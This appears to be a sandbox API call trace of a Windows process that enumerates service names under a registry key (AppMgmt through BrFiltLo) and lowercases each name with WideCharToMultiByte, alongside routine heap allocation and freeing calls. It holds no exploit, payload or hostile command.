[0239.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0239.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0239.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0239.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0239.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.067] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0239.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.068] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1928, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0239.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.069] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.070] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.071] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.071] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0239.071] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0239.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.072] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 